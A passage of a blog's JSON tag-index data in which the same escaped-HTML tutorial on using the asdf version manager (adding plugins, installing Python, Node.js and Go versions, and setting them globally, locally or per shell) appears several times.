______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3.9.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.22.17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-18T00:00:00Z","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"}]},"GoLang":{"count":1,"posts":[{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou will need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI have used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I am contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives. It will be marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed. You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages. You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e --help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it will use\nthis version for the system:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003elocal\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3.9.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.22.17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-18T00:00:00Z","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"}]},"Linux":{"count":5,"posts":[{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou will need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI have used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I am contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives. It will be marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed. You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages. You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e --help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it will use\nthis version for the system:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003elocal\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cfigure 